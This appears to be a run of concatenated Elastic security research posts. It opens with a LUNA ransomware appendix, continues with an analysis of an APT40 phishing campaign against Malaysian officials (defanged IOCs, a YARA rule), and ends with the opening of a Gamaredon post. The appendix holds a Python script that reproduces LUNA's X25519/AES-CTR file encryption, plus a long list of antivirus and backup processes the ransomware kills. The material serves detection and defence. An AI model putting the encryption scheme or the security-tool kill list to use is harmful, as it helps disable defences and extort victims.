Appendix

LUNA encryption POC

We are providing an encryption POC, written in Python, that mimics and visualizes the encryption implementation of the LUNA ransomware.

Note: like LUNA, each time the script is run, the encrypted output will be different because the private keys are generated each time.

Prerequisites:

Pyton 3
cryptography and termcolor Python modules

Usage:

Save the below script as luna_encryption_poc.py
install the dependencies with pip install --user cryptography termcolor
execute the script with python luna_encryption_poc.py

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import x25519

from termcolor import colored

# Malware author generates public key and embeds into malware, keeps private key for decryption later
author_private_key = x25519.X25519PrivateKey.generate()         # Unknown author's priv_key generation method
author_embedded_public_key = author_private_key.public_key()

# Malware generates key pair
malware_private_key = x25519.X25519PrivateKey.generate()
malware_public_key = malware_private_key.public_key()

# Serialization of malware pub_key
malware_public_bytes = malware_public_key.public_bytes(encoding=serialization.Encoding.Raw,
  format=serialization.PublicFormat.Raw)
print("Malware Public Key:  ", colored(malware_public_bytes.hex(), "blue"))

# AES key generated by malware's private key and author's embedded public key
# malware_private_key is discarded after this step and not needed for decryption
shared_key_generated = malware_private_key.exchange(author_embedded_public_key)
print("Generated Shared Key (AES): " + colored(shared_key_generated.hex(), "cyan"))

# Encryption Step with AES + IV null-padded LUNA string
iv = bytearray(b'4c756e6100000000')                             # 'Luna....' 16 bytes sized needed for AES CTR

# AES stream cipher (CTR) created using AES shared key and IV
cipher = Cipher(algorithms.AES(shared_key_generated), modes.CTR(iv))
encryptor = cipher.encryptor()

# String to be encrypted
plaintext = b"You know, for search!"
print("Plaintext: ", colored(plaintext, "green"))
print("Plaintext.hex(): ", colored(plaintext.hex(), "green"))

# Encryption of string using AES stream cipher
ct = encryptor.update(plaintext) + encryptor.finalize()

# Mock encrypted file with cipher text + public bytes + file marker
file_marker = b"Luna"                                           # 0x4c756e61
encrypted_file = ct + malware_public_bytes + file_marker

file_ciphertext = encrypted_file[:-36]
pub_key_from_encrypted_file = encrypted_file[-36:-4]
file_marker_from_encrypted_file = encrypted_file[-4:]

print("Encrypted File contents: \n",
    colored(file_ciphertext.hex(), "red"),
    colored(pub_key_from_encrypted_file.hex(), "blue"),
    colored(file_marker_from_encrypted_file.hex(), "yellow"))
print("\t",
    colored("Encrypted content", "red"), "        ",
    colored("Embedded malware's pub_key", "blue"), "       ",
    colored("Embedded file marker", "yellow"))

# Serialization
malware_public_key_from_file = x25519.X25519PublicKey.from_public_bytes(pub_key_from_encrypted_file)

# AES key derived from author's private key and malware embedded public key
shared_key_derived = author_private_key.exchange(malware_public_key_from_file)
print("Derived Shared Key (AES): ", colored(shared_key_derived.hex(), "cyan"))

# Decryption using derived AES shared key and IV
redo_cipher = Cipher(algorithms.AES(shared_key_derived), modes.CTR(iv))
decryptor = redo_cipher.decryptor()
result = decryptor.update(file_ciphertext) + decryptor.finalize()
print("Decrypted plaintext: ", colored(result, "green"))

This Python script will display the malware public key, the shared AES key, the plain text as a string, the plain text as a hex value, the encrypted text, and finally decrypt the encrypted text back into the original plain text as a string.

Windows services termination list

Windows process termination list

| | | | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | a2service.exea2start.exeaawservice.exeacaas.exeacaegmgr.exeacaif.exeacais.exeacctmgr.exeaclient.exeaclntusr.exead-aware2007.exeadministrator.exeadminserver.exeaesecurityservice.exeaexagentuihost.exeaexnsagent.exeaexnsrcvsvc.exeaexsvc.exeaexswdusr.exeaflogvw.exeafwserv.exeagntsvc.exeahnrpt.exeahnsd.exeahnsdsv.exealert.exealertsvc.exealmon.exealogserv.exealsvc.exealunotify.exealupdate.exealuschedulersvc.exeamsvc.exeamswmagtaphost.exeappsvc32.exeaps.exeapvxdwin.exeashbug.exeashchest.exeashcmd.exeashdisp.exeashenhcd.exeashlogv.exeashmaisv.exeashpopwz.exeashquick.exeashserv.exeashsimp2.exeashsimpl.exeashskpcc.exeashskpck.exeashupd.exeashwebsv.exeasupport.exeaswdisp.exeaswregsvr.exeaswserv.exeaswupdsv.exeaswwebsv.exeatrshost.exeatwsctsk.exeaupdrun.exeaus.exeauth8021x.exeautoup.exeavcenter.exeavconfig.exeavconsol.exeavengine.exeavesvc.exeavfwsvc.exeavkproxy.exeavkservice.exeavktray.exeavkwctl.exeavltmain.exeavmailc.exeavmcdlg.exeavnotify.exeavscan.exeavscc.exeavserver.exeavshadow.exeavsynmgr.exeavtask.exeavwebgrd.exebasfipm.exebavtray.exebcreporter.exebcrservice.exebdagent.exebdc.exebdlite.exebdmcon.exebdredline.exebdss.exebdsubmit.exebhipssvc.exebka.exeblackd.exeblackice.exebluestripecollector.exeblupro.exebmrt.exebwgo0000ca.execaantispyware.execaav.execaavcmdscan.execaavguiscan.execaf.execafw.execaissdt.execalogdump.execapfaem.execapfasem.execapfsem.execapmuamagt.execappactiveprotection.execasc.execasecuritycenter.execaunst.execavrep.execavrid.execavscan.execavtray.execcap.execcapp.execcemflsv.execcenter.execcevtmgr.execcflic0.execcflic4.execclaw.execcm messaging.execcnfagent.execcprovsp.execcproxy.execcpxysvc.execcschedulersvc.execcsetmgr.execcsmagtd.execcsvchst.execcsystemreport.execctray.execcupdate.execdm.execertificateprovider.execertificationmanagerservicent.execfftplugin.execfnotsrvd.execfp.execfpconfg.execfpconfig.execfplogvw.execfpsbmit.execfpupdat.execfsmsmd.execheckup.exechrome.execis.execistray.execka.execlamscan.execlamtray.execlamwin.execlient.execlient64.execlps.execlpsla.execlpsls.execlshield.execmdagent.execmdinstall.execmgrdian.execntaosmgr.execollwrap.execomhost.execonfig_api_service.execonsole.execontrol_panel.execoreframeworkhost.execoreserviceshell.execpd.execpdclnt.execpf.execpntsrv.execramtray.execrashrep.execrdm.execrssvc.execsacontrol.execsadmin.execsauth.execsdbsync.execsfalconservice.execsinject.execsinsm32.execsinsmnt.execslog.execsmon.execsradius.execsrss_tc.execssauth.execstacacs.exectdataload.execwbunnav.execylancesvc.execylanceui.exedao_log.exedbeng50.exedbserv.exedbsnmp.exedbsrv9.exedefwatchdefwatch.exedeloeminfs.exedeteqt.agent.exediskmon.exedjsnetcn.exedlservice.exedltray.exedolphincharge.edolphincharge.exedoscan.exedpmra.exedr_serviceengine.exedrwagntd.exedrwagnui.exedrweb.exedrweb32.exedrweb32w.exedrweb386.exedrwebcgp.exedrwebcom.exedrwebdc.exedrwebmng.exedrwebscd.exedrwebupw.exedrwebwcl.exedrwebwin.exedrwinst.exedrwupgrade.exedsmcad.exedsmcsvc.exedwarkdaemon.exedwengine.exedwhwizrd.exedwnetfilter.exedwrcst.exedwwin.exeedisk.exeeeyeevnt.exeegui.exeehttpsrv.exeekrn.exeelogsvc.exeemlibupdateagentnt.exeemlproui.exeemlproxy.exeencsvc.exeendpointsecurity.exeengineserver.exeentitymain.exeepmd.exeera.exeerlsrv.exeesecagntservice.exeesecservice.exeesmagent.exeetagent.exeetconsole3.exeetcorrel.exeetloganalyzer.exeetreporter.exeetrssfeeds.exeetscheduler.exeetwcontrolpanel.exeeuqmonitor.exeeventparser.exeevtarmgr.exeevtmgr.exeevtprocessecfile.exeewidoctrl.exeexcel.exeexecstat.exefameh32.exefcappdb.exefcdblog.exefch32.exefchelper64.exefcsms.exefcssas.exefih32.exefirefox.exefirefoxconfig.exefiresvc.exefiretray.exefirewallgui.exefmon.exefnplicensingservice.exeforcefield.exefpavserver.exefprottray.exeframeworkservicframeworkservic.exeframeworkservice.exefrzstate2k.exefsaa.exefsaua.exefsav32.exefsavgui.exefscuif.exefsdfwd.exefsgk32.exefsgk32st.exefsguidll.exefsguiexe.exefshdll32.exefshoster32.exefshoster64.exefsm32.exefsma32.exefsmb32.exefsorsp.exefspc.exefspex.exefsqh.exefssm32.exefwcfg.exefwinst.exe | fws.exegcascleaner.exegcasdtserv.exegcasinstallhelper.exegcasnotice.exegcasserv.exegcasservalert.exegcasswupdater.exeGdfirewalltray.exegdfwsvc.exegdscan.exegfireporterservice.exeghost_2.exeghosttray.exegiantantispywaremain.exegiantantispywareupdater.exegooglecrashhandler.exegooglecrashhandler64.exegoogleupdate.exegziface.exegzserv.exehasplmv.exehdb.exehealthservice.exehpqwmiex.exehwapi.exeicepack.exeidsinst.exeiface.exeigateway.exeilicensesvc.exeinet_gethost.exeinfopath.exeinicio.exeinonmsrv.exeinorpc.exeinort.exeinotask.exeinoweb.exeisafe.exeisafinst.exeisntsmtp.exeisntsysmonitorispwdsvc.exeisqlplussvc.exeisscsf.exeissdaemon.exeissvc.exeisuac.exeiswmgr.exeitmrt_supportdiagnostics.exeitmrt_trace.exeitmrtsvc.exeixaptsvc.exeixavsvc.exeixfwsvc.exekabackreport.exekaccore.exekanmcmain.exekansgui.exekansvr.exekb891711.exekeysvc.exekis.exekislive.exekissvc.exeklnacserver.exeklnagent.exeklserver.exeklswd.exeklwtblfs.exekmailmon.exeknownsvr.exeknupdatemain.exekpf4gui.exekpf4ss.exekpfw32.exekpfwsvc.exekrbcc32s.exekswebshield.exekvdetech.exekvmonxp.kxpkvmonxp_2.kxpkvolself.exekvsrvxp.exekvsrvxp_1.exekvxp.kxpkwatch.exekwsprod.exekxeserv.exeleventmgr.exelivesrv.exelmon.exelog_qtine.exeloggetor.exeloggingserver.exeluall.exelucallbackproxy.exelucoms.exelucoms~1.exelucomserver.exelwdmserver.exemacmnsvc.exemacompatsvc.exemanagementagenthost.exemanagementagentnt.exemantispm.exemasalert.exemassrv.exemasvc.exembamservice.exembamtray.exemcagent.exemcapexe.exemcappins.exemcconsol.exemcdash.exemcdetect.exemcepoc.exemcepocfg.exemcinfo.exemcmnhdlr.exemcmscsvc.exemcnasvc.exemcods.exemcpalmcfg.exemcpromgr.exemcproxy.exemcregwiz.exemcsacore.exemcscript_inuse.exemcshell.exemcshield.exemcshld9x.exemcsvhost.exemcsysmon.exemctray.exemctskshd.exemcui32.exemcuimgr.exemcupdate.exemcupdmgr.exemcvsftsn.exemcvsrte.exemcvsshld.exemcwce.exemcwcecfg.exemfeann.exemfecanary.exemfeesp.exemfefire.exemfefw.exemfehcs.exemfemactl.exemfemms.exemfetp.exemfevtps.exemfewc.exemfewch.exemgavrtcl.exemghtml.exemgntsvc.exemonitoringhost.exemonsvcnt.exemonsysnt.exempcmdrun.exempf.exempfagent.exempfconsole.exempfservice.exempfsrv.exempftray.exemps.exempsevh.exempsvc.exemrf.exemsaccess.exemsascui.exemscifapp.exemsdtssrvr.exemsftesql.exemskagent.exemskdetct.exemsksrver.exemsksrvr.exemsmdsrv.exemsmpeng.exemspmspsv.exemspub.exemsscli.exemsseces.exemsssrv.exemusnotificationux.exemyagttry.exemydesktopqos.exemydesktopservice.exemysqld.exemysqld-nt.exemysqld-opt.exenailgpip.exenaprdmgr.exenavectrl.exenavelog.exenavesp.exenavshcom.exenavw32.exenavwnt.exencdaemon.exend2svc.exendetect.exendrvs.exendrvx.exeneotrace.exenerosvc.exenetalertclient.exenetcfg.exenetsession_win.exenetworkagent.exenexengctw32.exengserver.exenimbus.exenimcluster.exenip.exenipsvc.exenisoptui.exenisserv.exenissrv.exenisum.exenjeeves.exenlclient.exenlsvc.exenmagent.exenmain.exenortonsecurity.exenpfmntor.exenpfmsg.exenpfmsg2.exenpfsvice.exenpmdagent.exenprotect.exenpscheck.exenpssvc.exenrmenctb.exenscsrvce.exensctop.exenslocollectorservice.exensmdemf.exensmdmon.exensmdreal.exensmdsch.exensmdtr.exentcaagent.exentcadaemon.exentcaservice.exentevl.exentrtscan.exentservices.exenvcoas.exenvcsched.exenymse.exeoasclnt.exeocautoupds.exeocomm.exeocssd.exeoespamtest.exeofcdog.exeofcpfwsvc.exeokclient.exeolfsnt40.exeomniagent.exeomslogmanager.exeomtsreco.exeonenote.exeonlinent.exeonlnsvc.exeop_viewer.exeopscan.exeoracle.exeoutlook.exeoutpost.exepaamsrv.exepadfsvr.exepagent.exepagentwd.exepasystemtray.exepatch.exepatrolagent.exepatrolperf.exepavbckpt.exepavfires.exepavfnsvr.exepavjobs.exepavkre.exepavmail.exepavreport.exepavsched.exepavsrv50.exepavsrv51.exepavsrv52.exepavupg.exepaxton.net2.clientservice.exepaxton.net2.commsserverservice.exepccclient.exepccguide.exepcclient.exepccnt.exepccntmon.exepccntupd.exepccpfw.exepcctlcom.exepcscan.exepcscm.exepcscnsrv.exepcsws.exepctsauxs.exepctsgui.exepctssvc.exepctstray.exepep.exepersfw.exepmgreader.exepmon.exepnmsrv.exepntiomon.exePop3pack.exepop3trap.exepoproxy.exepowerpnt.exeppclean.exeppctlpriv.exe | ppmcativedetection.exeppppwallrun.exepqibrowser.exepqv2isvc.exepralarmmgr.exeprcalculationmgr.exeprconfigmgr.exeprdatabasemgr.exepremailengine.exepreventmgr.exeprevsrv.exeprftpengine.exeprgateway.exeprintdevice.exeprivacyiconclient.exeprlicensemgr.exeprocexp.exeproficy administrator.exeproficyclient.exe4proficypublisherservice.exeproficyserver.exeproficysts.exeproutil.exeprprintserver.exeprproficymgr.exeprrds.exeprreader.exeprrouter.exeprschedulemgr.exeprstubber.exeprsummarymgr.exeprunsrv.exeprwriter.exepsanhost.exepsctris.exepsctrls.exepsh_svc.exepshost.exepsimreal.exepsimsvc.exepskmssvc.exepsuamain.exepsuaservice.exepthosttr.exepview.exepviewer.exepwdfilthelp.exepxemtftp.exepxeservice.exeqclean.exeqdcsfs.exeqoeloader.exeqserver.exerapapp.exerapuisvc.exeras.exerasupd.exerav.exeravmon.exeravmond.exeravservice.exeravstub.exeravtask.exeravtray.exeravupdate.exeravxp.exercsvcmon.exerdrcef.exerealmon.exeredirsvc.exeregmech.exeremupd.exerepmgr64.exereportersvc.exereportingservicesservice.exereportsvc.exeretinaengine.exerfwmain.exerfwproxy.exerfwsrv.exerfwstub.exernav.exernreport.exerouternt.exerpcserv.exerscd.exerscdsvc.exersnetsvr.exerssensor.exerstray.exertvscan.exerulaunch.exesafeservice.exesahookmain.exesaservice.exesav32cli.exesavfmsectrl.exesavfmselog.exesavfmsesjm.exesavfmsesp.exesavfmsespamstatsmanager.exesavfmsesrv.exesavfmsetask.exesavfmseui.exesavmain.exesavroam.exesavscan.exesavservice.exesavui.exesbamsvc.exesbserv.exescan32.exescanexplicit.exescanfrm.exescanmailoutlook.exescanmsg.exescanwscs.exescfagent_64.exescfmanager.exescfservice.exescftray.exeschdsrvc.exeschupd.exesdrservice.exesdtrayapp.exeseanalyzertool.exeseccenter.exesecuritycenter.exesecuritymanager.exeseestat.exesemsvc.exeserver_eventlog.exeserver_runtime.exesesclu.exesetloadorder.exesetupguimngr.exesevinst.exesgbhp.exeshstat.exesidebar.exesiteadv.exeslee81.exesmc.exesmcgui.exesmex_activeupdasmex_master.exesmex_remoteconfsmex_systemwatcsmoutlookpack.exesms.exesmsectrl.exesmselog.exesmsesjm.exesmsesp.exesmsesrv.exesmsetask.exesmseui.exesmsx.exesnac.exesndmon.exesndsrvc.exesnhwsrv.exesnicheckadm.exesnichecksrv.exesnicon.exesnsrv.exespbbcsvc.exespideragent.exespiderml.exespidernt.exespiderui.exespntsvc.exespooler.exespyemergency.exespyemergencysrv.exesqbcoreservice.exesqlagent.exesqlbrowser.exesqlservr.exesqlwriter.exesrvload.exesrvmon.exesschk.exessecuritymanager.exessm.exessp.exessscheduler.exestarta.exesteam.exestinger.exestopa.exestopp.exestwatchdog.exesvcgenerichostsvcharge.exesvcntaux.exesvdealer.exesvframe.exesvtray.exeswc_service.exeswdsvc.exesweepsrv.sysswi_service.exeswnetsup.exeswnxt.exeswserver.exesymlcsvc.exesymproxysvc.exesymsport.exesymtray.exesymwsc.exesynctime.exesysdoc32.exesysoptenginesvc.exetaskhostw.exetbirdconfig.exetbmon.exetclproc.exetdimon.exeteamviewer_service.exetfgui.exetfservice.exetftray.exetfun.exethebat.exethebat64.exethunderbird.exetiaspn~1.exetmas.exetmlisten.exetmntsrv.exetmpfw.exetmproxy.exetnbutil.exetnslsnr.exetoolbarupdater.exetpsrv.exetraflnsp.exetraptrackermgr.exetrjscan.exetrupd.exetsansrf.exetsatisy.exetscutynt.exetsmpnt.exeucservice.exeudaterui.exeuiseagnt.exeuiwatchdog.exeumxagent.exeumxcfg.exeumxfwhlp.exeumxpol.exeunsecapp.exeunvet32.exeup2date.exeupdate_task.exeupdaterui.exeupdtnv28.exeupfile.exeuplive.exeuploadrecord.exeupschd.exeurl_response.exeurllstck.exeuseractivity.exeuseranalysis.exeusergate.exeusrprmpt.exev2iconsole.exev3clnsrv.exev3exec.exev3imscn.exev3lite.exev3main.exev3medic.exev3sp.exev3svc.exevetmsg.exevettray.exevgauthservice.exevisio.exevmacthlp.exevmtoolsd.exevmware-converter.exevmware-converter-a.exevmwaretray.exevpatch.exevpc32.exevpdn_lu.exevprosvc.exevprot.exevptray.exevrv.exevrvmail.exevrvmon.exevrvnet.exevshwin32.exevsmain.exevsmon.exevsserv.exevsstat.exevstskmgr.exewebproxy.exewebscanx.exewebsensecontrolservice.exewebtrapnt.exewfxctl32.exewfxmod32.exewfxsnt40.exewin32sysinfo.exewinlog.exewinroute.exewinvnc4.exewinword.exewordpad.exeworkflowresttest.exewrctrl.exewrsa.exewrspysetup.exewscntfy.exewssfcmai.exewtusystemsuport.exexcommsvr.exexfilter.exexfssvccon.exezanda.exezapro.exezavcore.exezillya.exezlclient.exezlh.exezonealarm.exezoolz.exe |

A close look at the advanced techniques used in a Malaysian-focused APT campaign

Wed, 22 Jun 2022 00:00:00 GMT

The Elastic Security Intelligence & Analytics Team researches adversary innovations of many kinds, and has recently focused on an activity group that leveraged remote templates, VBA code evasion, and DLL side-loading techniques. Based on code similarity and shared tactics, techniques, and procedures (TTPs), the team assessed this activity to be possibly linked to a Chinese-based group known as APT40, or Leviathan. The group’s campaign appears to target Malaysian government officials with a lure regarding the 2020 Malaysian political crisis.

Anatomy of the attack

To initiate their advanced persistent threat (APT) campaign, the group likely delivered a Microsoft Word document as a phishing lure attachment. The image used in the lure (Figure 2) appears to be crafted from a broadcast announcement shared by a Malaysian blogger (Figure 1). The lure image includes the same broadcast time, but the date and speech topic are removed. Once this attachment is opened, a decoy document is presented while behind the scenes, taking the following actions:

The lure document downloads the remote template RemoteLoad.dotm
The remote template executes VBA macro code
The VBA macro code unpacks and executes two embedded base64-encoded DLLs (sl1.tmp and sl2.tmp) to c:\users\public\

This technique is known as template injection, which you may recall from our Playing defense against Gamaredon Group blog post. This an effective approach used by adversaries to bypass perimeter controls such as email gateways.

Both embedded DLLs (sl1.tmp and sl2.tmp) are similar and export the same function names: RCT and RCP. The first DLL (sl1.tmp) is used to download a benign executable called LogiMailApp.exe and an associated library LogiMail.dll, and the second DLL (sl2.tmp) is used to execute LogiMailApp.exe, which automatically attempts to execute LogiMail.dll due to an inherent DLL search order vulnerability we’ll cover shortly.

| | | | | | | --------------- | --------- | ------------ | -------------------------------- | ------------------------- | | File name | File type | Size (bytes) | MD5 | Compile time | | LogiMailApp.exe | Win32 EXE | 311656 | 850a163ce1f9cff0367854038d8cfa7e | 2012-09-26 22:13:13+00:00 | | LogiMail.dll | Win32 DLL | 105984 | b5a5dc78fb392fae927e9461888f354d | 2020-06-03 04:08:29+00:00 | | sl1.tmp | Win32 DLL | 3072 | ccbdda7217ba439dfb6bbc6c3bd594f8 | 2019-11-29 17:15:29+00:00 | | sl2.tmp | Win32 DLL | 3072 | dbfa006d64f39cde78b0efda1373309c | 2019-11-29 21:23:44+00:00 |

Table 1: Dropped files metadata

This implementation stood out to our researchers due to a behavioral idiosyncrasy:

The Microsoft Office application winword.exe loads sl1.tmp and sl2.tmp DLLs uses the LoadLibraryA method, which is moderately rare
These DLLs run explicit commands or install a payload from a URL using the CallWindowProcA method, which appears to be exceptionally rare
Both DLLs are deleted after execution

Embedded DLLs

The embedded DLLs, sl1.tmp and sl2.tmp, have very limited functionality — exporting the RCP and RCT functions. The RCP function implements the WinExec method to execute commands where the RCT function uses the URLDownloadToFileA method to download a file from a specified URL.

DLL side-loading a backdoor

LogiMailApp.exe, which is downloaded by sl1.tmp and executed by sl2.tmp, is vulnerable to a form of DLL search-order hijacking called side-loading, which automatically searches for and executes LogiMail.dll if found in the same directory. Forms of DLL search-order hijacking can be used with many third-party software applications. In this case, search-order hijacking was used to load a backdoor that exports the following notable functions:

The adversary-created binary LogiMail.dll exports the function DllGetClassObject that contains critical logic for the execution flow of this sample:

Download an AES-encrypted second stage object to %TEMP%~liseces1.pcs
Derive a 128-bit AES key and initialization vector from SHA256 of a hardcoded string
Read and decrypt %TEMP%~liseces1.pcs in memory using the ReadFile and CryptDecrypt functions
Delete %TEMP%~liseces1.pcs from disk

Second stage backdoor

The decrypted second stage backdoor is mapped into memory and then its original entry point (OEP) is called, thus bypassing successful detections based on file system scanning.

Both the payload staging server and the second stage infrastructure use dynamic DNS:

This payload supports the following capabilities:

Basic anti-debug checks
System and user discovery
Execution via command line
File discovery, upload, and download
Persistence via run registry
Encrypt C2 traffic using same AES key

Possible APT40/Leviathan connection

Earlier in the year, the Malaysian Computer Emergency Response Team (MyCERT) issued an advisory related to espionage activity targeting their country. The report listed different TTPs and included multiple samples and other technical indicators that align with a threat group known as APT40/Leviathan.

At a high level, this sample follows the continued trend of targeting Malaysian victims using specific TTPs such as remote templates, employing macros, using DLL side-loading techniques, and leveraging an in-memory implant with dynamic DNS for command and control. More specifically, the second stage implant from this lure shares unique strings and URL references and contains similar functionality that correlates with the previous reporting for APT40/Leviathan. With these similarities, our Intelligence & Analytics Team assesses with moderate confidence that this activity is linked to APT40/Leviathan.

Implant String Similarities with MyCERT Sample:

/list_direction
/post_document
/post_login
Open Remote File %s Failed For: %s
Open Pipe Failed %s
Download Read Path Failed %s
%02X-%02X-%02X-%02X-%02X-%02X
Software\Microsoft\Windows\CurrentVersion\Run
ntkd

Conclusion

In this post, we highlighted a recent sample that most likely represents the work of a highly organized adversary. Activity groups like this are significant for everyone to take notice of, if only because they represent a higher maturity level of post-exploit innovation. Their cutting edge TTPs today end up being everyone’s run of the mill tomorrow; it’s important to learn from these events.

We hope that by sharing some of these insights, we can help raise awareness and continue to focus on protecting the world's data from attack. To enable organizations further, we’ve added all the observed MITRE ATT&CK® techniques and indicators of compromise (IoCs) below.

MITRE ATT&CK® techniques

Indicators of Compromise (IOCs)

File names and paths

Bubar Parlimen.zip
Bubar Parlimen.docx
RemoteLoad.dotm
C:\Users\Public\sl1.tmp
C:\Users\Public\sl2.tmp
C:\Users\*\AppData\Local\Temp\~liseces1.pcs
C:\Users\*\AppData\Local\Microsoft\Office\LogiMailApp.exe
C:\Users\*\AppData\Local\Microsoft\Office\LogiMail.dll

Registry keys

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ntkd

URLs

hxxps[:]//armybar[.]hopto[.]org/LogiMail.dll
hxxps[:]//armybar[.]hopto[.]org/LogiMailApp[.]exe
hxxps[:]//armybar[.]hopto[.]org/Encrypted
hxxp[:]//tomema.myddns[.]me/postlogin
hxxp[:]//tomema[.]myddns[.]me/list_direction
hxxp[:]//tomema[.]myddns[.]me/post_document

IPs

104[.]248[.]148[.]156
139[.]59[.]31[.]188

HTTPS certificate

74b5e317527c93539dbaaf84d6a61da92a56012a

Hashes

523cbdaf31ddc920e5b6c873f3ab42fb791fb4c9d1f4d9e6a7f174105d4f72a1
ab541df861c6045a17006969dac074a7d300c0a8edd0a5815c8b871b62ecdda7
145daf50aefb7beec32556fd011e10c9eaa71e356649edfce4404409c1e8fa30
93810c5fd9a287d85c182d2ad13e7d30f99df76e55bb40e5bc7a486d259810c8
925f404b0207055f2a524d9825c48aa511199da95120ed7aafa52d3f7594b0c9
feca9ad5058bc8571d89c9d5a1eebce09e709cc82954f8dce1564e8cc6750a77
06a4246be400ad0347e71b3c4ecd607edda59fbf873791d3772ce001f580c1d3
77ef350639b767ce0a748f94f723a6a88609c67be485b9d8ff8401729b8003d2

YARA

rule APT_APT40_Implant_June2020 {
   meta:
       version = "1.0"
       author =  "Elastic Security"
       date_added = "2020-06-19"
       description = "APT40 second stage implant"
    strings:
        $a = "/list_direction" fullword wide
        $b = "/post_document" fullword wide
        $c = "/postlogin" fullword wide
        $d = "Download Read Path Failed %s" fullword ascii
        $e = "Open Pipe Failed %s" fullword ascii
        $f = "Open Remote File %s Failed For: %s" fullword ascii
        $g = "Download Read Path Failed %s" fullword ascii
        $h = "\\cmd.exe" fullword wide
    condition:
        all of them
}

References

Playing defense against Gamaredon Group

Tue, 21 Jun 2022 00:00:00 GMT

For several months, the Intelligence & Analytics team at Elastic Security has tracked an ongoing adversary campaign appearing to target Ukranian government officials. Based on our monitoring, we believe Gamaredon Group, a suspected Russia-based threat group, is behind this campaign. Our observations suggest a significant overlap between tactics, techniques, and procedures (TTPs) included within this campaign and public reporting¹.

This campaign has produced and deployed updated lures on a near-daily basis that appear to target multiple Ukrainian government departments. With this high operational tempo and aggressive targeting, they consistently employ a cluster of initial access techniques and procedures. Over the past four months, these techniques have consisted of spearphishing, remote document template injection, startup folder persistence, VBA/VBScript languages, and Dynamic DNS command & control infrastructure.

In this post, we’ll walk through the campaign details, reviewing the implementation while also providing solutions such as detection strategies through the use of Elastic’s Event Query Language (EQL).

Campaign Details

The earliest identified infrastructure indicates this campaign has been active since August 2019. The first sample leveraging this domain was submitted to VirusTotal in early September 2019. Spearphishing emails like the example in Figure 1 (below) were used to deliver a malicious attachment and demonstrate Gamaredon Group’s attempt to impersonate an anti-corruption activist. This example targeted the National Security and Defense Council of Ukraine and dates to January 17, 2020.

Figure 1 - Spearphishing email sent to National Security and Defense Council of Ukraine

A typical lure document might masquerade as an information request to the Ministry of Foreign Affairs of Ukraine. These manufactured lures included official logos stolen from governmental offices of Ukraine and impersonated diplomats known to their targets.

Figure 2 - Lure document - Ministry of Foreign Affairs in Ukraine request

